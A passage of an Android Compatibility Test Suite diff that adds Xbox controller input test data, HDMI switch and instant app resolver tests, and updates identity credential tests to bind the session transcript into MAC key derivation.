+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0xff, 0x03, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0xff, 0x03, 0x00, 0x00,
+       0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_GAS": 0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
new file mode 100755
index 0000000..36e1a96
--- /dev/null
+++ b/tests/tests/hardware/res/raw/microsoft_xbox2020_register.json
@@ -0,0 +1,28 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Microsoft Xbox (Test)",
+  "vid": 0x045e,
+  "pid": 0x0b13,
+  "bus": "bluetooth",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x01, 0xa1, 0x00, 0x09, 0x30, 0x09, 0x31,
+    0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0x09, 0x01,
+    0xa1, 0x00, 0x09, 0x32, 0x09, 0x35, 0x15, 0x00, 0x27, 0xff, 0xff, 0x00, 0x00, 0x95, 0x02, 0x75,
+    0x10, 0x81, 0x02, 0xc0, 0x05, 0x02, 0x09, 0xc5, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95, 0x01, 0x75,
+    0x0a, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05, 0x02, 0x09,
+    0xc4, 0x15, 0x00, 0x26, 0xff, 0x03, 0x95, 0x01, 0x75, 0x0a, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00,
+    0x75, 0x06, 0x95, 0x01, 0x81, 0x03, 0x05, 0x01, 0x09, 0x39, 0x15, 0x01, 0x25, 0x08, 0x35, 0x00,
+    0x46, 0x3b, 0x01, 0x66, 0x14, 0x00, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x75, 0x04, 0x95, 0x01,
+    0x15, 0x00, 0x25, 0x00, 0x35, 0x00, 0x45, 0x00, 0x65, 0x00, 0x81, 0x03, 0x05, 0x09, 0x19, 0x01,
+    0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0f, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00,
+    0x75, 0x01, 0x95, 0x01, 0x81, 0x03, 0x05, 0x0c, 0x0a, 0xb2, 0x00, 0x15, 0x00, 0x25, 0x01, 0x95,
+    0x01, 0x75, 0x01, 0x81, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x07, 0x95, 0x01, 0x81, 0x03, 0x05,
+    0x0f, 0x09, 0x21, 0x85, 0x03, 0xa1, 0x02, 0x09, 0x97, 0x15, 0x00, 0x25, 0x01, 0x75, 0x04, 0x95,
+    0x01, 0x91, 0x02, 0x15, 0x00, 0x25, 0x00, 0x75, 0x04, 0x95, 0x01, 0x91, 0x03, 0x09, 0x70, 0x15,
+    0x00, 0x25, 0x64, 0x75, 0x08, 0x95, 0x04, 0x91, 0x02, 0x09, 0x50, 0x66, 0x01, 0x10, 0x55, 0x0e,
+    0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x09, 0xa7, 0x15, 0x00, 0x26,
+    0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0x65, 0x00, 0x55, 0x00, 0x09, 0x7c, 0x15, 0x00,
+    0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x01, 0x91, 0x02, 0xc0, 0xc0
+  ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiSwitchClientTest.java b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiSwitchClientTest.java
new file mode 100644
index 0000000..136267f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiSwitchClientTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.hdmi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiControlServiceWrapper;
+import android.hardware.hdmi.HdmiPortInfo;
+import android.hardware.hdmi.HdmiSwitchClient;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class HdmiSwitchClientTest {
+
+    private HdmiControlManager mManager;
+    private HdmiSwitchClient mHdmiSwitchClient;
+    private HdmiControlServiceWrapper mService;
+    private final List<HdmiPortInfo> mExpectedInfo = new ArrayList();
+
+    @Rule
+    public final AdoptShellPermissionsRule shellPermRule = new AdoptShellPermissionsRule();
+
+    @Before
+    public void setUp() {
+        mService = new HdmiControlServiceWrapper();
+        int[] types = {HdmiControlServiceWrapper.DEVICE_PURE_CEC_SWITCH};
+        mService.setDeviceTypes(types);
+
+        mManager = mService.createHdmiControlManager();
+        mHdmiSwitchClient = mManager.getSwitchClient();
+        assertThat(mManager).isNotNull();
+        assertThat(mHdmiSwitchClient).isNotNull();
+    }
+
+    @After
+    public void tearDown() {
+        mExpectedInfo.clear();
+    }
+
+    @Test
+    public void testGetPortInfo() {
+        final int id = 0;
+        final int address = 0x1000;
+        final boolean cec = true;
+        final boolean mhl = false;
+        final boolean arc = true;
+        final HdmiPortInfo info =
+                new HdmiPortInfo(id, HdmiPortInfo.PORT_INPUT, address, cec, mhl, arc);
+        mExpectedInfo.add(info);
+        mService.setPortInfo(mExpectedInfo);
+
+        final List<HdmiPortInfo> portInfo = mHdmiSwitchClient.getPortInfo();
+        assertThat(portInfo).isEqualTo(mExpectedInfo);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
new file mode 100755
index 0000000..74e74ea
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MicrosoftXbox2020Test extends InputTestCase {
+
+    // Exercises the Bluetooth behavior of the Xbox One S controller
+    public MicrosoftXbox2020Test() {
+        super(R.raw.microsoft_xbox2020_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.microsoft_xbox2020_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.microsoft_xbox2020_motioneventtests);
+    }
+}
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 1ed9b94..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -112,40 +112,7 @@
         KeyPair ephemeralKeyPair = credential.createEphemeralKeyPair();
         credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
 
-        // However it should fail if device authentication *is* requested. Also check that.
-        //
-        // First, create a fake sessionTranscript... we expect things to fail with
-        // with ERROR_EPHEMERAL_PUBLIC_KEY_NOT_FOUND because the correct ephemeral key is
-        // not in the right place.
-        ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
-        try {
-            new CborEncoder(stBaos).encode(new CborBuilder()
-                    .addArray()
-                    .add(new byte[]{0x01, 0x02})  // The device engagement structure, encoded
-                    .add(new byte[]{0x03, 0x04})  // Reader ephemeral public key, encoded
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            e.printStackTrace();
-            assertTrue(false);
-        }
-        byte[] sessionTranscript = stBaos.toByteArray();
-        try {
-            rd = credential.getEntries(
-                    Util.createItemsRequest(entriesToRequest, null),
-                    entriesToRequest,
-                    sessionTranscript,
-                    null);
-            assertTrue(false);
-        } catch (EphemeralPublicKeyNotFoundException e) {
-            // This is the expected path...
-        } catch (IdentityCredentialException e) {
-            e.printStackTrace();
-            assertTrue(false);
-        }
-
-        // Now, correct the sessionTranscript
-        sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
         // Then check that getEntries() throw NoAuthenticationKeyAvailableException (_even_ when
         // allowing using exhausted keys).
         try {
@@ -222,6 +189,37 @@
         }
         assertEquals(3, certificates.size());
 
+        // Now that we've provisioned authentication keys, presentation will no longer fail with
+        // NoAuthenticationKeyAvailableException ... So now we can try a sessionTranscript without
+        // the ephemeral public key that was created in the Secure Area and check it fails with
+        // EphemeralPublicKeyNotFoundException instead...
+        ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
+        try {
+            new CborEncoder(stBaos).encode(new CborBuilder()
+                    .addArray()
+                    .add(new byte[]{0x01, 0x02})  // The device engagement structure, encoded
+                    .add(new byte[]{0x03, 0x04})  // Reader ephemeral public key, encoded
+                    .end()
+                    .build());
+        } catch (CborException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        byte[] wrongSessionTranscript = stBaos.toByteArray();
+        try {
+            rd = credential.getEntries(
+                    Util.createItemsRequest(entriesToRequest, null),
+                    entriesToRequest,
+                    wrongSessionTranscript,
+                    null);
+            assertTrue(false);
+        } catch (EphemeralPublicKeyNotFoundException e) {
+            // This is the expected path...
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
         // Now use one of the keys...
         entriesToRequest = new LinkedHashMap<>();
         entriesToRequest.put("org.iso.18013-5.2019",
@@ -270,10 +268,13 @@
         // Calculate the MAC by deriving the key using ECDH and HKDF.
         SecretKey eMacKey = Util.calcEMacKeyForReader(
             key0Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        byte[] deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         byte[] expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
 
         // Then compare it with what the TA produced.
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -306,10 +307,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             key4Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // And again.... this time key0 should have been used. Check it.
@@ -438,10 +442,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             keyNewCert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
         byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
 
         // Finally, create the structure that the reader signs, and sign it.
-        byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
-                requestMessage);
+        byte[] dataToBeSignedByReader =
+                Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
         byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
                 null, // payload
                 dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
     }
 
     static byte[] buildDeviceAuthenticationCbor(String docType,
-            byte[] sessionTranscriptBytes,
+            byte[] encodedSessionTranscript,
             byte[] deviceNameSpacesBytes) {
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
         return daBaos.toByteArray();
     }
 
-    static byte[] buildReaderAuthenticationCbor(
-            byte[] sessionTranscriptBytes,
+    static byte[] buildReaderAuthenticationBytesCbor(
+            byte[] encodedSessionTranscript,
             byte[] requestMessageBytes) {
 
         ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
         try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
             List<DataItem> dataItems = null;
             dataItems = new CborDecoder(bais).decode();
             DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
         } catch (CborException e) {
             throw new RuntimeException("Error encoding ReaderAuthentication", e);
         }
-        return daBaos.toByteArray();
+        byte[] readerAuthentication = daBaos.toByteArray();
+        return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+    }
+
+    static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try {
+            ByteString taggedBytestring = new ByteString(encodedCbor);
+            taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+            new CborEncoder(baos).encode(taggedBytestring);
+        } catch (CborException e) {
+            throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+        }
+        return baos.toByteArray();
+    }
+
+    static byte[] concatArrays(byte[] a, byte[] b) {
+        byte[] ret = new byte[a.length + b.length];
+        System.arraycopy(a, 0, ret, 0, a.length);
+        System.arraycopy(b, 0, ret, a.length, b.length);
+        return ret;
     }
 
     static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
-            PrivateKey ephemeralReaderPrivateKey) {
+            PrivateKey ephemeralReaderPrivateKey,
+            byte[] encodedSessionTranscript) {
         try {
             KeyAgreement ka = KeyAgreement.getInstance("ECDH");
             ka.init(ephemeralReaderPrivateKey);
             ka.doPhase(authenticationPublicKey, true);
             byte[] sharedSecret = ka.generateSecret();
 
+            byte[] sessionTranscriptBytes =
+                    Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+            byte[] sharedSecretWithSessionTranscriptBytes =
+                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
             byte[] salt = new byte[1];
             byte[] info = new byte[0];
 
             salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+            byte[] derivedKey = Util.computeHkdf("HmacSha256",
+                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/instantapp/Android.bp
similarity index 65%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to tests/tests/instantapp/Android.bp
index d957080..9109578 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/instantapp/Android.bp
@@ -14,17 +14,24 @@
 // limitations under the License.
 //
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+android_test {
+    name: "CtsInstantAppTests",
+    srcs: [ "src/**/*.kt" ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "truth-prebuilt",
+    ],
     test_suites: [
         "cts",
         "vts",
         "vts10",
-        "mts",
-        "general-tests",
+        "device-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
 }
diff --git a/tests/tests/instantapp/AndroidManifest.xml b/tests/tests/instantapp/AndroidManifest.xml
new file mode 100644
index 0000000..394663b
--- /dev/null
+++ b/tests/tests/instantapp/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.instantapp.resolver"
+    >
+
+    <application>
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CtsInstantAppTests"
+        android:targetPackage="android.cts.instantapp.resolver"
+        />
+
+</manifest>
diff --git a/tests/tests/instantapp/AndroidTest.xml b/tests/tests/instantapp/AndroidTest.xml
new file mode 100644
index 0000000..7e03bce
--- /dev/null
+++ b/tests/tests/instantapp/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Test module config for CTSInstantAppTests">
+    <option name="test-tag" value="CTSInstantAppTests" />
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsInstantAppTests.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+        <option name="package" value="android.cts.instantapp.resolver" />
+    </test>
+</configuration>
diff --git a/tests/tests/instantapp/OWNERS b/tests/tests/instantapp/OWNERS
new file mode 100644
index 0000000..dd85fa9
--- /dev/null
+++ b/tests/tests/instantapp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 36137
+chiuwinson@google.com
+patb@google.com
+toddke@google.com
diff --git a/tests/tests/instantapp/src/android/cts/instantapp/resolver/InstantAppRequestInfoTest.kt b/tests/tests/instantapp/src/android/cts/instantapp/resolver/InstantAppRequestInfoTest.kt
new file mode 100644
index 0000000..defe511
--- /dev/null
+++ b/tests/tests/instantapp/src/android/cts/instantapp/resolver/InstantAppRequestInfoTest.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.instantapp.resolver
+
+import android.content.Intent
+import android.content.pm.InstantAppRequestInfo
+import android.os.Parcel
+import com.google.common.truth.Truth.assertThat
+import org.junit.Test
+import java.util.UUID
+
+class InstantAppRequestInfoTest {
+
+    private val intent = Intent(Intent.ACTION_VIEW)
+    private val hostDigestPrefix = intArrayOf(1)
+    private val userHandle = android.os.Process.myUserHandle()
+    private val isRequesterInstantApp = false
+    private val token = UUID.randomUUID().toString()
+
+    private val info = InstantAppRequestInfo(intent, hostDigestPrefix, userHandle,
+            isRequesterInstantApp, token)
+
+    @Test
+    fun values() {
+        assertValues(info)
+    }
+
+    @Test
+    fun parcel() {
+        Parcel.obtain()
+                .run {
+                    info.writeToParcel(this, 0)
+                    setDataPosition(0)
+                    InstantAppRequestInfo.CREATOR.createFromParcel(this)
+                            .also { recycle() }
+                }
+                .run(::assertValues)
+    }
+
+    private fun assertValues(info: InstantAppRequestInfo) {
+        assertThat(info.intent.filterEquals(intent)).isTrue()
+        assertThat(info.hostDigestPrefix).isEqualTo(hostDigestPrefix)
+        assertThat(info.userHandle).isEqualTo(userHandle)
+        assertThat(info.isRequesterInstantApp).isEqualTo(isRequesterInstantApp)
+        assertThat(info.token).isEqualTo(token)
+    }
+}
diff --git a/tests/tests/instantapp/src/android/cts/instantapp/resolver/ResolverServiceMethodFallbackTest.kt b/tests/tests/instantapp/src/android/cts/instantapp/resolver/ResolverServiceMethodFallbackTest.kt
new file mode 100644
index 0000000..5cb3dfb
--- /dev/null
+++ b/tests/tests/instantapp/src/android/cts/instantapp/resolver/ResolverServiceMethodFallbackTest.kt
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.instantapp.resolver
+
+import android.app.InstantAppResolverService
+import android.app.InstantAppResolverService.InstantAppResolutionCallback
+import android.content.Intent
+import android.content.pm.InstantAppRequestInfo
+import android.net.Uri
+import android.os.Bundle
+import android.os.IRemoteCallback
+import android.os.UserHandle
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.rules.ExpectedException
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+import org.mockito.Answers
+import org.mockito.Mock
+import org.mockito.Mockito.doNothing
+import org.mockito.Mockito.never
+import org.mockito.Mockito.verify
+import org.mockito.Mockito.verifyNoMoreInteractions
+import org.mockito.MockitoAnnotations
+import java.util.UUID
+import kotlin.random.Random
+
+private typealias Method = InstantAppResolverService.(InstantAppRequestInfo) -> Unit
+
+@Suppress("max-line-length")
+@RunWith(Parameterized::class)
+class ResolverServiceMethodFallbackTest @Suppress("UNUSED_PARAMETER") constructor(
+    private val version: Int,
+    private val methodList: List<Method>,
+    private val info: InstantAppRequestInfo,
+    // Remaining only used to print human-readable test name
+    name: String,
+    isWebIntent: Boolean
+) {
+
+    companion object {
+        // Since the resolution callback class is final, mock the IRemoteCallback and have it throw
+        // a unique exception to indicate it was called.
+        class TestRemoteCallbackException : Exception()
+
+        private val testIntentWeb = Intent(Intent.ACTION_VIEW,
+                Uri.parse("https://${this::class.java.canonicalName}.com"))
+        private val testIntentNotWeb = Intent(Intent.ACTION_VIEW,
+                Uri.parse("content://${this::class.java.canonicalName}"))
+
+        private val testRemoteCallback = object : IRemoteCallback {
+            override fun sendResult(data: Bundle?) = throw TestRemoteCallbackException()
+            override fun asBinder() = throw UnsupportedOperationException()
+        }
+        private val testResolutionCallback = InstantAppResolutionCallback(0, testRemoteCallback)
+        private val testArray = IntArray(10) { Random.nextInt() }
+        private val testToken = UUID.randomUUID().toString()
+        private val testUser = UserHandle(Integer.MAX_VALUE)
+        private val testInfoWeb = InstantAppRequestInfo(testIntentWeb, testArray, testUser,
+                false, testToken)
+        private val testInfoNotWeb = InstantAppRequestInfo(testIntentNotWeb, testArray, testUser,
+                false, testToken)
+
+        // Each section defines methods versions with later definitions falling back to
+        // earlier definitions. Each block receives an [InstantAppResolverService] and invokes
+        // the appropriate version with the test data defined above.
+        private val infoOne: Method = { onGetInstantAppResolveInfo(testArray, testToken,
+                testResolutionCallback) }
+        private val infoTwo: Method = { onGetInstantAppResolveInfo(it.intent, testArray, testToken,
+                testResolutionCallback) }
+        private val infoThree: Method = { onGetInstantAppResolveInfo(it.intent, testArray, testUser,
+                testToken, testResolutionCallback) }
+        private val infoFour: Method = { onGetInstantAppResolveInfo(it, testResolutionCallback) }
+
+        private val filterOne: Method = { onGetInstantAppIntentFilter(testArray, testToken,
+                testResolutionCallback) }
+        private val filterTwo: Method = { onGetInstantAppIntentFilter(it.intent, testArray,
+                testToken, testResolutionCallback) }
+        private val filterThree: Method = { onGetInstantAppIntentFilter(it.intent, testArray,
+                testUser, testToken, testResolutionCallback) }
+        private val filterFour: Method = { onGetInstantAppIntentFilter(it, testResolutionCallback) }
+
+        private val infoList = listOf(infoOne, infoTwo, infoThree, infoFour)
+        private val filterList = listOf(filterOne, filterTwo, filterThree, filterFour)
+
+        @JvmStatic
+        @Parameterized.Parameters(name = "{3} version {0}, isWeb = {4}")
+        fun parameters(): Array<Array<*>> {
+            // Sanity check that web intent logic hasn't changed
+            assertThat(testInfoWeb.intent.isWebIntent).isTrue()
+            assertThat(testInfoNotWeb.intent.isWebIntent).isFalse()
+
+            // Declare all the possible params
+            val versions = Array(5) { it }
+            val methods = arrayOf("ResolveInfo" to infoList, "IntentFilter" to filterList)
+            val infos = arrayOf(testInfoWeb, testInfoNotWeb)
+
+            // FlatMap params into every possible combination
+            return infos.flatMap { info ->
+                methods.flatMap { (name, methods) ->
+                    versions.map { version ->
+                        arrayOf(version, methods, info, name, info.intent.isWebIntent)
+                    }
+                }
+            }.toTypedArray()
+        }
+    }
+
